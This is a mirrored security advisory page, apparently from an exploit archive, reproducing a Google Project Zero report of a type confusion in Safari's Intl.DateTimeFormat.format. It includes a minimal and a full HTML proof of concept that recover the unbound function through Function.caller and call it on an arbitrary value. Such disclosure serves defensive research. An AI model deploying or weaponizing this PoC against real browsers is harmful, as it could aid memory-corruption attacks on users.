首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Safari - 'DateTimeFormat.format' Type Confusion
来源:Google Security Research 作者:Google 发布时间:2017-03-28  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036
 
There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.
 
A minimal PoC is as follows, and a full PoC is attached.
 
 
var i = new Intl.DateTimeFormat();
var q;
 
function f(){
    q = f.caller;
    return 10;
}
 
 
i.format({valueOf : f});
 
q.call(0x77777777);
-->
 
<html>
<body>
<script>
 
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
 
var i = new Intl.DateTimeFormat();
 
//print(i);
 
var q;
 
function f(){
 
    //print("in f");
    //print(f.caller);
    q = f.caller;
    return 10;
}
 
try{
i.format({valueOf : f});
}catch(e){
 
    //print("problem");
 
}
 
//print(q);
q.call(0x77777777);
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Samba 4.5.2 - Symlink Race Per
·Apple Safari - Builtin JavaScr
·Internet Information Services
·Apple Safari - Out-of-Bounds R
·Microsoft Visual Studio 2015 u
·Github Enterprise - Default Se
·FTPShell Server 6.56 Import CS
·QNAP QTS < 4.2.4 - Domain Priv
·Forticlient 5.2.3 Windows 10 x
·DzSoft PHP Editor 4.2.7 - File
·Forticlient 5.2.3 Windows 10 x
·MikroTik RouterBoard 6.38.5 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved